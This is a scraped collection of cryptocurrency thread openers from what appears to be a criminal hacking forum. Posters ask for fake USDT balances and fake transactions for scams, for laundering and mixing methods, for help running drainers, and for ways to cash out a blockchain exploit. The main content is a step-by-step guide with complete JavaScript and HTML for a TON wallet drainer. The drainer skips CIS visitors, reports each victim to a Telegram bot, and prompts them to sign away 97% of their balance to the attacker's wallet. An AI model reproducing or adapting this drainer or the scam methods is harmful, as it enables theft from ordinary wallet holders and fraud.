ID: 67686ad7b4103b69df3796b3
Thread ID: 80211
Created: 2023-01-18T10:10:53+0000
Last Post: 2024-10-13T12:53:35+0000
Author: stgpp0r5
Replies: 10 Views: 2K

North Korea’s Lazarus Group have moved $63.5m (~41000 ETH) from the 2022 Harmony bridge hack through Railgun before consolidating funds and depositing on three different exchanges (Binance, OKX and Huobi).

FmjScdIXwAA5QcK.jpg

Full thread and analysis:

__https://twitter.com/x/status/1614771861266792449

flashing wallet
ID: 67686ad7b4103b69df3796c2
Thread ID: 112537
Created: 2024-04-12T17:56:08+0000
Last Post: 2024-09-26T07:30:13+0000
Author: aaft
Replies: 7 Views: 2K

Перепрошивка кошелька Binance Crypto (USDT) Требуется перепрошивка

фейк крипта в холодном кошельке. есть специалисты?
ID: 67686ad7b4103b69df3796cd
Thread ID: 120336
Created: 2024-08-06T22:20:57+0000
Last Post: 2024-09-14T18:58:10+0000
Author: Sistem-kro
Replies: 11 Views: 2K

кто может сделать фейк кипту на любом популярном кошельке? (Екзодус,траст,сейфпал, тронлинк).
нужен фиксированый баланс.

Например: даю клиенту 12 фраз для входа. он заходит и у него отображен баланс в усдт.

знаю делают так и при выводе просит оплатить комиссию пишет что недостаточно комиссии для вывода. делают под скам.
мне достаточно что бы был показан просто баланс.

как это делают и кто может такое сделать? естественно не бесплатно.

Запрос -Бот для sunpump.meme
ID: 67686ad7b4103b69df3796cf
Thread ID: 122208
Created: 2024-09-06T22:29:23+0000
Last Post: 2024-09-14T16:40:48+0000
Author: Stimul007
Replies: 12 Views: 2K

Привет, братцы✊ Ищу бота, спамера для автоматической публикации комментариев в мемкоинах. Если у кого-то есть готовое решение или предложения по созданию, буду благодарен, если сможете поделиться или подсказать, на какую сумму можно рассчитывать за такую разработку. Интересует максимально автоматизированный процесс. Рассмотрю любые варианты, желательно в дар. Заранее спасибо!

Wasabi криптокошелёк-миксер. Coinjoin
ID: 67686ad7b4103b69df3796d3
Thread ID: 121961
Created: 2024-09-02T19:45:51+0000
Last Post: 2024-09-12T21:45:44+0000
Author: EvoMind
Prefix: Статья
Replies: 10 Views: 2K

Wasabi криптокошелёк-миксер. Coinjoin​

Wasabi это криптовалютный кошелек, работающий с блокчейном BTC. Доступен в виде приложен для Windows, MacOS (Intel, M1, M2), Linux. Мобильного приложения не имеет.
Официальный сайт https://wasabiwallet.io

Надеюсь кому то будет полезно!)

Установка
Рассмотрим установку на примере ОС Whonix
Необходимо загрузить установочный пакет .deb на сайте https://wasabiwallet.io/
Сохраните его, например, в папку /home/user/Downloads/

1.jpg

Далее открыть терминал и выполнить команду

sudo apt install /home/user/Downloads/Wasabi-2.0.3.deb

(исправьте название файла в соответствии с тем, который был загружен с сайта)
По окончании установки ярлык Wasabi появится в меню программ, в разделе Office
2.jpg

Также можно использовать для запуска консольную команду wassabee

При включении Wasabi в Whonix следует отключить встроенный в Wasabi Tor. Будет использоваться Tor-соединение установленное операционной системой через Whonix-Gateway.
Это делается в настройках приложения (кнопка Settings внизу слева, там выключить Network anonimization (Tor).
Подробнее об использовании Wasabi рассказано на сайте кошелька, в документации и FAQ.

Создание кошелька​

При первом запуске Васаби будет открыт диалог для создания нового кошелька. Можно установить уникальное имя для кошелька, чтобы помнить, для чего он. На следующем шаге Васаби покажет 12 слов восстановления кошелька. Они должны быть тщательно и точно сохранены в правильном порядке, так как они необходимы (вместе с паролем) для восстановления этого кошелька на другом компьютере или в другом приложении кошелька. Затем выберите очень безопасный пароль, так как это шифрует секреты, и не должны догадаться другими. Вам всегда понадобится этот пароль, чтобы потратить свои биткойны, так что будьте очень осторожны, чтобы поддержать его должным образом. Убедитесь, что вы храните резервную копию своих слов восстановления в другом месте, чем резервное копирование вашего пароля
3.jpg

Затем задайте безопасный пароль. Вам всегда будет необходим этот пароль, чтобы потратить свои биткойны, так что будьте очень осторожны, чтобы сохранять его должным образом. Убедитесь, что храните резервную копию своих слов восстановления не в том же месте, где сохраняете резервную копию пароля.

4.jpg

Пополнение кошелька​

CoinJoin
После создания кошелька можно принимать на него средства. Чтобы получить адрес нужно выбрать Send, адрес и qr-код будут выведены на экран. Внизу отображается панель состояния CoinJoin -- технологии, осуществляющей смешивание монет. Coinjoin — это специальная биткойн-транзакция, в которой несколько пиров собираются вместе, чтобы буквально объединить свои монеты в одну транзакцию. Они совместно создают транзакцию, в которой каждый из них предоставляет несколько монет в качестве входных данных и свежие адреса в качестве выходных данных. Эта концепция существует с первых дней существования Биткойна, и она была формализована великим Грегом Максвеллом в этой замечательной вводной теме.
Цель состоит в том, чтобы добиться конфиденциальности, разорвав связь того, какой вход «платит на какой выход, чтобы ни один из выходов не мог быть отнесен к владельцу ввода. Wasabi позволяет централизованно координировать совместные соединения с переменными суммами без доверия (что означает, что никто не может украсть) и конфиденциально (что означает, что даже координатор не может шпионить), как описано в документе Wasabi.
5.jpg

После открытия горячего кошелька он автоматически запустит обратный отсчет до начала совместного использования (±10 минут). Эта и другая информация, связанная с совместным участием, отображается в нижней панели.
6.jpg

После завершения обратного отсчета будет автоматически запущен процесс присоединения кошелька. В нижней части панели появится синяя аура, указывающая на то, что кошелек подключен, и сообщение в панели изменится.
7.jpg

"Ожидание других участников". Через некоторое время синяя аура сменится на оранжевую, это указывает на то, что процесс coinjoin сейчас запущен. Васаби не позволит вам закрыть приложение во время оранжевой ауры, чтобы не нарушить раунд совместного присоединения.
8.jpg

"Coinjoin в процессе". Если это успешно, совместное присоединение завершено, и совместное присоединение появится в списке истории.

88.jpg

"Успех Coinjoin". Обратите внимание, что кошельку, возможно, придется повторить шаги совместного соединения несколько раз, прежде чем будет создано успешное совместное соединение. Так что вполне возможно, что цвета ауры изменятся без успешного совместного соединения. Пожалуйста, оставьте Wasabi Wallet включенным, и в конечном итоге произойдет успешное совместное присоединение.
По умолчанию установлена стратегия смешивания CoinJoin:
Максимальная скорость "Maximize Speed", также доступны Максимальная приватность (Maximize Privacy), Минимальная стоимость (Minimize Costs) и настройка пользователя (Customize).

10.jpg

Сохранение и восстановление кошелька​

Для сохранения и восстановления кошелька Wasabi достаточно seed-фразы, сохраненной в надежном месте, но если необходим кошелек в виде файла, то он находится по адресу
home/user/.walletwasabi/client/Wallets и представляет из себя файл формата json.

Уязвимости в блокчейне. Цена вопроса?
ID: 67686ad7b4103b69df3796e7
Thread ID: 120918
Created: 2024-08-16T21:43:18+0000
Last Post: 2024-08-20T17:18:25+0000
Author: lisa99
Replies: 23 Views: 2K

Всем привет! На связи сарафанное радио, и как всегда для вас, дорогие наши слушатели, порция интерес-ней-ших новостей. В студии..

Несерьезно. Неконкретно. Но интересно ваше мнение.

Вводные таковы. Щиток со своим блокчейном и дивной "экосистемой" щитков второго и третьего уровня может иметь уязвимости, позволяющие вычистить большую часть кошельков юзеров.
Капитализация - несколько лмв зелени. Вертится на известных биржах.

Вопрос. Если удасться дожать до реализации уязвимости, то как лучше поступить? =)

1. Заявить о проблемах разрабам-овнерам с пруфами и рассчитывать на ббаунти. Красиво, но..но вы поняли. Шансы остаться с нулями.
Или не им, а какой-то фирме посреднику, например, известной компании, торгующей зеродеями.
Какова мб сумма выплат?

2. Продать ушлым компетентным людям и не парится. Вопрос - сколько это может стоить и как в таких схемах используется гарант?
Минус - задешево и возможен кидок

3. Пытаться забрать все и самолично. Готовясь к визгам, уголовным делам и проч. Есть в этом аспекте нехорошие моменты, кстати, усугубляющие ситуацию.
Минусы - проблемы с анонимностью крипты, т.к. считаю,что щитки проще отследить по свопам, проблемы с обналом.

У нас в РФ путей к счастью много.
Что посоветуете, братьяи сестры?

п.с. Повторюсь - считаем все абстрактным вопросом. Покупателей(лохов, компаньонов, инвесторов, и проч) в данный момент не ищу, продавать нечего.
п.п.с. Тема начиналась в Болталке. Из-за несерьезности. Перенес модератор

Как безопасно хранить крипту?
ID: 67686ad7b4103b69df3796ea
Thread ID: 120354
Created: 2024-08-07T10:09:50+0000
Last Post: 2024-08-16T11:07:52+0000
Author: dunkel
Replies: 20 Views: 2K

Начитался/насмотрелся как угоняют/брутят кошельки, и стало страшна. Из софта стараюсь все мутное/с детектами запускать на виртуалке, но иногда все равно что то приходится запускать на основной машине(тяжелый софт которому нужно быстро работать). Поэтому наверно держать крипту в кошелке в расширении браузера плохая идея (кому то прилетит лог, сбрутят и все).
На телефоне (андроиде) тоже, т.к иногда запускаю приложения не из плейстора, да и вообще ведроид дырявый.
Я так понимаю лучший варинт купить отдельное устройство(макбук/айфон) для криптоприложений (горячих программных кошельков)?
Еще есть страх (слышал истории) как челам блокировали транзакции на горячем кошельке за грязный aml, или за то что это якобы деньги от ransom, или что там кто то якобы спонсировал терроризм. Это правда?
Че теперь обязательно аппаратный ledger покупать? Ведь по сути во всяких горячих trust wallet приватный ключ хранится на сервере, и они могут что угодно сделать с твоими деньгами. Например заморозить или отнять по указке спецслужб, за то что ты какой то неправильный человек из неправильной страны.
Но в аппаратных поддерживаются только популярные монеты, но нету допустим альткоинов которые хочу купить на долгосрок.

Массовый вывод монет в сетях EVM+SOL
ID: 67686ad7b4103b69df3796ee
Thread ID: 113459
Created: 2024-04-28T12:10:30+0000
Last Post: 2024-08-13T16:28:04+0000
Author: Zverskill
Replies: 13 Views: 2K

Решил объединить и выложить в массы, скрипты которые массово переводят монеты на ваш кошелек в сетях EVM, SOL

📌Скрипт для EVM снимает нативный баланс в таких сетях как: ETH, BSC, MATIC, RONIN, Moonbeam, Pulse, Astar, Moonriver, FTM
Требуется наличие Python (проверено на версии 3.10.11), выполнить установку компонентов из папки скриптов командой
pip install -r requirements.txt
В файл wallets.txt вставить ваши адреса и приватный ключ точно так как указано в образце, в config.py вставить ваш адрес кошелька
❕Данный скрипт написан мной

📌Скрипт для SOL снимает нативный баланс с приватных ключей
Требуется наличие Python (проверено на версии 3.10.11), выполнить установку компонентов из папки скриптов командой
pip install -r requirements.txt
В скрипте main.py необходимо указать ваш адрес кошелька, а так же заменить ноду (т.к. та что задана блочит моментально), в файл privatekeys.txt вставить ваши приватные ключи SOL
❕Данный скрипт был найден на просторах github, переписан мной для нормальной работы

Поблагодарить, на развитие

ETH: 0xf2F69965D1946dE59E02E310783eF3e03216977c
BTC: bc1qxqx8dhkql8kwn5d6f89de6qn9zc48xl7mlehhy
TRX: TGceFrYRnWaW7xP7v5FF95HpoCDyqRNkSd
SOL: 3yv9mey4UeiLmGNXWB57sX9YsnMjdnti89VNbymePh7t

Click to expand...

кто нибудь знает где купить ledger или trezor в РФ?
ID: 67686ad7b4103b69df3796f0
Thread ID: 118642
Created: 2024-07-11T13:54:47+0000
Last Post: 2024-08-11T23:42:21+0000
Author: MoonfrostTyrant
Replies: 8 Views: 2K

нужно по скорее

Создание фейк USDT ETH BTC
ID: 67686ad7b4103b69df3796fa
Thread ID: 118795
Created: 2024-07-13T11:07:30+0000
Last Post: 2024-07-30T06:04:18+0000
Author: Trepa_Trepa_Trepa
Replies: 15 Views: 2K

День добрый, подскажите люди добрые ,как создать фейк USDT ETH BTC? Где то была статья на форуме,но не могу найти ее.

Восстановление Electrum
ID: 67686ad7b4103b69df379702
Thread ID: 117027
Created: 2024-06-17T14:51:44+0000
Last Post: 2024-07-16T14:31:23+0000
Author: sect adept
Replies: 14 Views: 2K

Всем привет. Был btc кош electrum. Пасс хранился в KeePass. В общем база затерлась к херам. Всеми способами пытался восстановить. Есть ли какие-то варианты дернуть хэш пароля кошелька и пробрутить или какие-то другие варианты? Соответственно, сидка тоже затерлась, номера коша нет. Есть только файл електрума...

Fake transaction
ID: 67686ad7b4103b69df3798df
Thread ID: 72732
Created: 2022-09-05T12:54:25+0000
Last Post: 2022-11-27T09:38:40+0000
Author: hackera
Replies: 46 Views: 2K

Hello, I want to make a fake transaction that I will not be satisfied with When I check the address on the blockchain, it should show that the money is unconfirmed If you can do this to someone please contact me Thanks in advance and sorry if I'm posting in the wrong place

USDT локальный кошелек
ID: 67686ad7b4103b69df379704
Thread ID: 117821
Created: 2024-06-29T09:53:03+0000
Last Post: 2024-07-16T08:19:44+0000
Author: Ar3s
Replies: 20 Views: 2K

Добрый день. В очередной раз задумался над вопросом получения, хранения и отправки usdt. Для этих целей нам упорно приходится сражаться с какими-то биржами, регистрациями, документами и прочим барахлом.
У старого доброго битка есть локальный клиент. Да, он требует дохрена места но он есть. В конце концов есть аппаратные кошельки.
И тут я задался вопросом а есть ли нечто аналогичное для USDT? Быстрый гугл что-то не показал мне ни одного локального клиента. Я может туплю или не вижу чего-то очевидного, подскажите как хранить локально и не зависеть от санкций какой-нибудь страны/биржи и не ссать что завтра твой аккаунт локнут.

Detailed guide on how to create your own toncoin drainer
ID: 67686ad7b4103b69df379710
Thread ID: 114244
Created: 2024-05-10T11:58:15+0000
Last Post: 2024-06-29T23:36:10+0000
Author: MoneroMafia
Prefix: Статья
Replies: 7 Views: 2K

:zns6::smile66::smile50:

Author : MoneroMafia
Article for xss.is

Detailed guide on how to create your own toncoin drainer

Introduction

In the digital age, the ability to dynamically respond to user geography while integrating blockchain capabilities can lead to powerful web applications. This guide explores a drained script designed to interact with users based on their geographic location, redirect them if necessary, and facilitate transactions on the TON blockchain, coupled with real-time notifications via a Telegram bot.

This script is a multi-faceted tool, ideal for applications requiring geo- specific user interactions while leveraging the transparency and security of blockchain technologies.

Technologies Overview

Before diving into the script's specifics, let's outline the key technologies and libraries utilized:

1. JavaScript (JS): The primary programming language for the script, executed in the browser.
2. Fetch API: A modern interface for making network requests in JavaScript, used here to obtain user IP information and communicate with the Telegram bot.
3. TON Connect UI and SDK: A set of tools for integrating TON blockchain functionalities into web applications, enabling wallet connections and transactions.
4. Telegram Bot API: Utilized for sending notifications and alerts to a specified Telegram chat.

**Detailed Script Analysis

Configuration Variables**

We starts the js script with the declaration of several variables:

JavaScript:Copy to clipboard

var mainWallet = ""; // Your TON wallet address for receiving assets
var tgBotToken = ""; // Token for your Telegram bot
var tgChat = ""; // Your Telegram chat ID

- mainWallet is where all processed assets will be directed.
- tgBotToken and tgChat are used to configure the Telegram bot for sending out notifications.

Domain and User IP Extraction

This section of the code is responsible for capturing the domain from which the script is running and the user's IP address. The window.location.hostname property retrieves the domain, while an external API is used to obtain the user's IP address. These variables are essential for logging and dynamic references throughout the script.

JavaScript:Copy to clipboard

var domain = window.location.hostname;
var ipUser;

- domain captures the domain from which the script is running, useful for dynamic references and logging.
- ipUser will later store the user's IP address, obtained from an external API.

Geo-location and Redirection Logic

This part of the code uses the fetch API to retrieve the user's IP address and country from an external API ( ipapi.co. ). It then checks if the user is from one of the specified countries (CIS countries) and redirects them to https://ton.org if true. The user's IP and country are logged for debugging purposes, and an initial notification is sent to a Telegram bot using the notifyTelegramOpen function.

JavaScript:Copy to clipboard

fetch('https://ipapi.co/json/').then(response => response.json()).then(data => {
    const country = data.country;
    if (country === 'RU' || country === 'KZ' || country === 'BY' || country === 'UA' || country === 'AM' || country === 'AZ' || country === 'KG' || country === 'MD' || country === 'UZ') {
        window.location.replace('https://ton.org');
    }
    ipUser = data.ip;
    countryUser = data.country;
    console.log('IP: ' + ipUser);
    console.log('Country: ' + countryUser);
    notifyTelegramOpen(ipUser, countryUser, domain);
}).catch(error => console.error('Error IP:', error));

Explanation:

- The script uses the fetch API to get the user's IP and country from ipapi.co.
- It checks if the user is from one of several specified countries (CIS countries) and redirects them to <https://ton.org> if true.
- Logs the user's IP and country for debugging.
- Calls notifyTelegramOpen to send an initial notification about the user.

Initial Telegram Notification

The notifyTelegramOpen function constructs a Markdown message containing the user's IP address, country, and the domain they accessed. It then uses the Telegram bot's API to send this message to a specified chat ID. This function is called after the user's IP and country have been determined in the previous section.

JavaScript:Copy to clipboard

function notifyTelegramOpen(ipUser, countryUser, domain) {
    const messageOpen = `\uD83D\uDDC4*Domain:* ${domain}\n\uD83D\uDCBB*User*: ${ipUser} ${countryUser}\n\uD83D\uDCD6*Opened the website*`;
    const encodedMessageOpen = encodeURIComponent(messageOpen);
    const url = `https://api.telegram.org/bot${tgBotToken}/sendMessage?chat_id=${tgChat}&text=${encodedMessageOpen}&parse_mode=Markdown`;


    fetch(url, {
        method: 'POST',
    }).then(response => {
        if (response.ok) {
            console.log('Success send.');
        } else {
            console.error('Error send.');
        }
    }).catch(error => {
        console.error('Error: ', error);
    });
}
  
**Explanation:**  
  
\- This function constructs a Markdown message indicating that a user has
opened the website.  
\- It sends this message to the Telegram bot using the bot's API, logging
success or failure.  
  
**TON Connect UI Initialization**  
  
This section initializes the TON Connect UI with a manifest file and specifies
the root ID of the UI button. It also listens for the walletConnected event,
which logs the connected wallet address when a user connects their wallet to
the TON Connect UI.  
  

JavaScript:Copy to clipboard

    
    
    const tonConnectUI = new TON_CONNECT_UI.TonConnectUI({
        manifestUrl: 'https://' + domain + '/tonconnect-manifest.json',
        buttonRootId: 'ton-connect'
    });
    tonConnectUI.on('walletConnected', (walletAddress) => {
        console.log('Wallet Address:', walletAddress);
    });

Explanation:

- Initializes the TON Connect UI with a manifest file and specifies where the UI button should be rendered.
- Logs the connected wallet address when a user connects their wallet.

Wallet Transaction Function (didtrans)
The didtrans function fetches the current balance of the connected wallet from TON's API, calculates a new balance after deducting a 3% transaction fee, and prepares a transaction object with the mainWallet as the recipient. It then calls the trySendTransaction function to attempt the transfer and handle the results. This function is responsible for executing the wallet transaction after the user has connected their wallet to the TON Connect UI.

JavaScript:Copy to clipboard

async function didtrans() {
    const response = await fetch('https://toncenter.com/api/v3/wallet?address=' + tonConnectUI.account.address);
    const data = await response.json();
    let originalBalance = parseFloat(data.balance);
    let processedBalance = originalBalance - (originalBalance * 0.03);
    let tgBalance = processedBalance / 1000000000;


    const transaction = {
        validUntil: Math.floor(Date.now() / 1000) + 60,
        messages: [{
            address: mainWallet,
            amount: processedBalance
        }]
    };


    trySendTransaction(transaction, tgBalance, ipUser, countryUser, domain);
}

Explanation:

- Fetches the current balance of the connected wallet from TON's API.
- Calculates a new balance by deducting 3% (likely a transaction fee).
- Prepares a transaction object with the mainWallet as the recipient.
- Calls trySendTransaction to attempt the transfer and handle results.

Transaction Handling and Notifications

This section of the code deals with sending transactions and notifying the result via Telegram. The main function here is trySendTransaction, which attempts to send a prepared transaction using the TON Connect UI. Regardless of the outcome (success or error), it then calls the notifyTelegramTransaction function to send a notification about the transaction status.

JavaScript:Copy to clipboard

async function trySendTransaction(transaction, tgBalance, ipUser, countryUser, domain) {
    try {
        const result = await tonConnectUI.sendTransaction(transaction);
        notifyTelegramTransaction('Send', tgBalance, ipUser, countryUser, domain);
    } catch (e) {
        notifyTelegramTransaction('Declined or error', tgBalance, ipUser, countryUser, domain);
        console.error(e);
    }
}

Explanation:

- Tries to send the prepared transaction.
- Notifies Telegram of the result, whether successful or an error occurred.

Telegram Notification for Transactions

The notifyTelegramTransaction function is crafted to send transaction status updates to a specified Telegram channel. It constructs a message that varies depending on whether the transaction was sent successfully or if it was declined or encountered an error. This function utilizes Telegram's API to send these updates, ensuring real-time communication with users or administrators monitoring these transactions. This setup enhances transparency and provides immediate feedback on transaction statuses.

JavaScript:Copy to clipboard

function notifyTelegramTransaction(action, tgBalance, ipUser, countryUser, domain) {
    const message = action === 'Send' ?
        `\uD83D\uDDC4*Domain:* ${domain}\n\uD83D\uDCBB*User:* ${ipUser} ${countryUser}\n\uD83D\uDCC0*Wallet:* [Ton Scan](https://tonscan.org/address/${tonConnectUI.account.address})\n\n\uD83D\uDC8E*Send:* ${tgBalance}` :
        `\uD83D\uDDC4*Domain:* ${domain}\n\uD83D\uDCBB*User:* ${ipUser} ${countryUser}\n\uD83D\uDCC0*Wallet:* [Ton Scan](https://tonscan.org/address/${tonConnectUI.account.address})\n\n\uD83D\uDED1*Declined or error.*`;


    const encodedMessage = encodeURIComponent(message);
    const url = `https://api.telegram.org/bot${tgBotToken}/sendMessage?chat_id=${tgChat}&text=${encodedMessage}&parse_mode=Markdown`;


    fetch(url, {
        method: 'POST',
    }).then(response => {
        if (response.ok) {
            console.log('Success send.');
        } else {
            console.error('Error send.');
        }
    }).catch(error => {
        console.error('Error: ', error);
    });
}

Explanation:

- Constructs a message based on the action ('Send' or 'Error').
- Sends this message to the Telegram bot, logging the outcome.

HTML Structure for TON integration

The provided HTML structure outlines the basic setup required to integrate TON Connect's functionalities into a web page. It includes essential scripts for the TON Connect UI and SDK, which facilitate interaction with the TON blockchain. The HTML file also contains a user interface component (div) for TON Connect and a button that triggers transaction processing. This setup is crucial for enabling users to initiate blockchain transactions directly from the web interface, making the application both interactive and functional.

HTML:Copy to clipboard

<!DOCTYPE html>
<html>
<head>
    <script src="https://unpkg.com/@tonconnect/ui@latest/dist/tonconnect-ui.min.js"></script>
    <script src="https://unpkg.com/@tonconnect/sdk@latest/dist/tonconnect-sdk.min.js"></script>
</head>
<body>
<div id="ton-connect"></div>
<button onclick="didtrans();" style="MARGIN-TOP:30PX;FONT-SIZE:24PX;">move</button>
<script src="tonsdk.js"></script>
</body>
</html>

Explanation:

- Includes the TON Connect UI and SDK scripts necessary for the blockchain functionalities.
- Provides a div for the TON Connect button and a button to trigger the didtrans function.

Conclusion

This drainer is a comprehensive integration of user-specific interactions based on geography, blockchain functionalities, and real-time notifications. By leveraging JavaScript, the Fetch API, TON Connect libraries, and the Telegram Bot API, it creates a dynamic user experience that adjusts based on the user's location, facilitates the draining of toncoin , and communicates activities via Telegram a telegram bot.

Вопросы по криптобирже
ID: 67686ad7b4103b69df379717
Thread ID: 115653
Created: 2024-05-29T20:29:23+0000
Last Post: 2024-06-20T16:24:00+0000
Author: Quake3
Replies: 25 Views: 2K

Такая ситуация. Есть человек, имеющий много свободных денег и времени, хочет завести на биржу крупную сумму (100к+), и играть на волатильности курса. В крипте не шарит. Я не хочу обсуждать целесообразность такого бизнеса, риски, малварь и т.д. Интересно только такое:
1. потребует ли биржа происхождения денежных средств? Регистрация будет на еврогейца.
2. можно ли завести реальные деньги (с банковского аккаунта) на биржу, или надо сначала где-то купить крипту , на холодный кош, и потом ее переводить ?
3. есть какие-то проверенные биржи кроме бинанса, или лучше брать бинанс?

[?]Принцип обхода автовывода
ID: 67686ad7b4103b69df379737
Thread ID: 108408
Created: 2024-02-16T22:03:30+0000
Last Post: 2024-05-08T05:16:56+0000
Author: lisa99
Replies: 20 Views: 2K

Допустим, сид фраза не в одних руках.
И кто-то мониторит блокчейны на поступление транзакций на кошельки, привязанные к этой сид-фразе (=автовывод)

Как работает обход автовывода? В принципе.
Такой же мониторинг а затем, при наступлении события своп внутри блокчейна?
Что-то более быстрое. чем вывод на другой кошелек..?

Trading
ID: 67686ad7b4103b69df37973c
Thread ID: 101132
Created: 2023-10-28T05:33:29+0000
Last Post: 2024-04-27T19:39:13+0000
Author: scum113
Replies: 32 Views: 2K

всем привет. Есть у кого какие стратегии торговлей на фьючерсах? Что бы всегда выходить в плюс. Кто как торгует, поделитесь :cool::smile50:

Как обменять BTC на USDT TRC20
ID: 67686ad7b4103b69df379743
Thread ID: 112324
Created: 2024-04-09T18:25:00+0000
Last Post: 2024-04-21T12:00:34+0000
Author: highlvl
Replies: 22 Views: 2K

Всем кто ждет и не ждет халвы салют! Нужен совет, как обменять биток на трастваллет в юсдт трц20.
Лююбые другие надежные пути которые не будут делать голову верифами и конской комиссией.
Всем добра!:smile50:

Оцените портфель на долгосрок
ID: 67686ad7b4103b69df37976b
Thread ID: 110211
Created: 2024-03-11T20:34:13+0000
Last Post: 2024-03-14T17:42:21+0000
Author: DedJhones
Replies: 30 Views: 2K

Меня очень интересует вопрос из этого топа https://xss.is/threads/110127/

photo_2024-03-11_23-29-31.jpg

Стоит ли вкладываться в эти монеты на долгосрок?

С учетом того, что год никакого доступа к активам не будет

как грамотно лить дрейнер
ID: 67686ad7b4103b69df37977b
Thread ID: 104914
Created: 2023-12-31T17:33:15+0000
Last Post: 2024-03-01T19:27:30+0000
Author: toonbrime
Replies: 17 Views: 2K

приветствую, вопрос к бывалым кибер мошенникам, сколько нужно денег на старт? какие связки можно использовать? ну и в целом по дрейнеру есть пара вопросов, если кто то сможет ответить на них, или может есть топик со всеми ответами на мои вопросы, отпишитесь пожалуйста, буду благодарен вам!

Отслеживание XMR
ID: 67686ad7b4103b69df379787
Thread ID: 85263
Created: 2023-04-05T10:28:54+0000
Last Post: 2024-02-20T20:36:23+0000
Author: easy22go
Replies: 40 Views: 2K

Нужно поговорить с кем-то с опытом о том, как чертова группа FBI отслеживает XMR
Похоже, им удается очень быстро отследить XMR
Кто-нибудь знает, как именно они это делают?

Волшебная крыса
ID: 67686ad7b4103b69df379790
Thread ID: 90651
Created: 2023-06-16T08:40:39+0000
Last Post: 2024-02-12T06:05:23+0000
Author: DildoFagins
Replies: 23 Views: 2K

https://news.drweb.ru/show/?i=14712&lng=ru - вот, доверяй после этого провайдерам палёных сборок венды с торрентов...

Есть 347 к usdt не знаю что с ними не могу вывести (монета не фейк)
ID: 67686ad7b4103b69df3797a6
Thread ID: 105384
Created: 2024-01-09T08:34:07+0000
Last Post: 2024-01-23T09:48:52+0000
Author: Guccimane
Replies: 21 Views: 2K

висят 347 к usdt никак не получается вывести все время кидает транзу в ошибки с адреса делались выводы монета не фейк TGEAZbA4yhaS3NjsFUmRDGtUNrV7tse7ZJ вот адрес, если есть кто поможет отблагодарю щедро

need help '-'
ID: 67686ad7b4103b69df3797ab
Thread ID: 105216
Created: 2024-01-06T13:58:38+0000
Last Post: 2024-01-14T16:22:47+0000
Author: Yuji0x01
Replies: 45 Views: 2K

Hello evryone ^_^ !!!

ive made post here like before two weeks or less ( here is it: the post '-') which i asked on abt some advices like how can i use/invest my 300$ btc....

now let say that actually turned into 800$ in btc ( 0.01849219 btc exactly '_' )

so i told my friend at school abt that and he said that it better to buy a good laptop with 500-600$ and use the rest to buy a course abt trading + a bot and they will cost 100$ exactly..... and he'll help me with that...

my friend who sent me that that 800$ in btc ( never forget to thank him <3) said that trading is actually somthing useless...and the best way to invest them is to get new skills in such domains like malware dev/analys and buy the hardware

but...i dont want to lose all that money to be honest :"(....

_ So please....does that course and the bot deserve 100$ ? should i buy them or just searching about some books and i'll be fine? is it trading something usefull now for real? i want to use them in the best way i can do....

**thank you all : ") **

Фейк Тезер USDT/Fake Tether USDT
ID: 67686ad7b4103b69df3797b5
Thread ID: 65315
Created: 2022-04-06T22:35:56+0000
Last Post: 2024-01-04T11:52:27+0000
Author: Lescer
Replies: 6 Views: 2K

не актуально!

Sandwich
ID: 67686ad7b4103b69df3797bd
Thread ID: 97789
Created: 2023-09-11T01:12:30+0000
Last Post: 2023-12-26T14:55:13+0000
Author: ClarityOfMind
Replies: 25 Views: 2K

Доброй ночи, дорогие хацкеры. Поделитесь, пожалуйста, гайдами или статьями с разбором сэндвич-атак, где только не искал, более или менее стоящей инфы не нашел, спасибо заранее

washing crypto
ID: 67686ad7b4103b69df3798e3
Thread ID: 74099
Created: 2022-10-08T16:21:41+0000
Last Post: 2022-11-20T20:44:16+0000
Author: sallynice45
Replies: 27 Views: 2K

whats the cheapest way to exchange random coins for clean funds into another wallet?
thanks

Курс ETH после запуска ETH2
ID: 67686ad7b4103b69df3798ff
Thread ID: 53248
Created: 2021-06-23T17:03:46+0000
Last Post: 2022-09-26T18:34:29+0000
Author: tabac
Replies: 19 Views: 2K

После запуска обновлений эфира Ethereum 2.0 https://www.coinbase.com/ru/price/ethereum-2 курс вырастет, упадет или не изменится?
ваши мнения?

[Александр Кондрашов] Криптоарбитраж. Тариф Продвинутый (2022)
ID: 67686ad7b4103b69df3797f3
Thread ID: 77147
Created: 2022-12-01T19:59:26+0000
Last Post: 2023-09-01T14:21:20+0000
Author: Mugen
Replies: 7 Views: 2K

Почему криптоарбитраж?

  1. НЕ НУЖЕН БОЛЬШОЙ КАПИТАЛ
    Можно зарабатывать, имея 30 000р. Умножить свой капитал за несколько месяцев и реинвестировать в любое другое направление. Потолок тут не ограничен.

  2. АКТУАЛЬНОСТЬ
    Разность курсов была и будет всегда. В 90-е люди выгодно покупали и продавали доллар, сегодня мы это делаем с криптой, через 10 лет будет другой актив. Мы расскажем про инструменты, которые помогают найти эту разницу и заработать на ней.

  3. ВРЕМЯ
    Чтобы сделать один круг, нужно потратить от 3-20 минут и сразу зафиксировать прибыль. Потратив 1 час в день, за месяц реально сделать + 50%. Во время эксперимента у меня получилось добиться таких результатов за 5 дней.

  4. МОБИЛЬНОСТЬ
    Только телефон. Ты можешь проводить сделки в любой части мира.

**- 4 недели обучения;
- 4 модуля, 22 темы и уроков в записи;
- 3 эффективные стратегии заработка.

Программа:**

1 модуль. Погружение в мир арбитража
2 модуль. Основы торговли в криптоарбитраже;
3 модуль. Кросс-коридорная стратегия;
4 модуль. Криптоарбитраж. Связка по USDT.

You must have at least 1 reaction(s) to view the content.

Скрипты криптообменников
ID: 67686ad7b4103b69df37981e
Thread ID: 67168
Created: 2022-05-17T22:13:48+0000
Last Post: 2023-07-29T21:05:21+0000
Author: ttreoaddda
Replies: 24 Views: 2K

Кто может поделится адекватными скриптами?
В инете один хлам, если у кого-то есть «западные» данные, буду очень благодарен!!

В какие крипты вложиться на долгосрок?
ID: 67686ad7b4103b69df379843
Thread ID: 81821
Created: 2023-02-12T18:31:34+0000
Last Post: 2023-06-10T01:39:58+0000
Author: ilyusha
Replies: 28 Views: 2K

Всех приветствую!
Как думаете в какие крипты вложиться на долгосрок в плане надежности?
Заранее спасибо :)

Best way to clean Bitcoin?
ID: 67686ad7b4103b69df37985c
Thread ID: 85504
Created: 2023-04-08T21:01:24+0000
Last Post: 2023-05-16T20:54:49+0000
Author: Ghosts
Replies: 29 Views: 2K

Is it a good idea to exchange BTC into XMR and then back into another cryptocurrency? I've heard some people say that using mixers is a bad idea. What methods do you guys use to clean your cryptocurrency?

I like Solidity, или здравствуй дедушка UniswapV2
ID: 67686ad7b4103b69df37985d
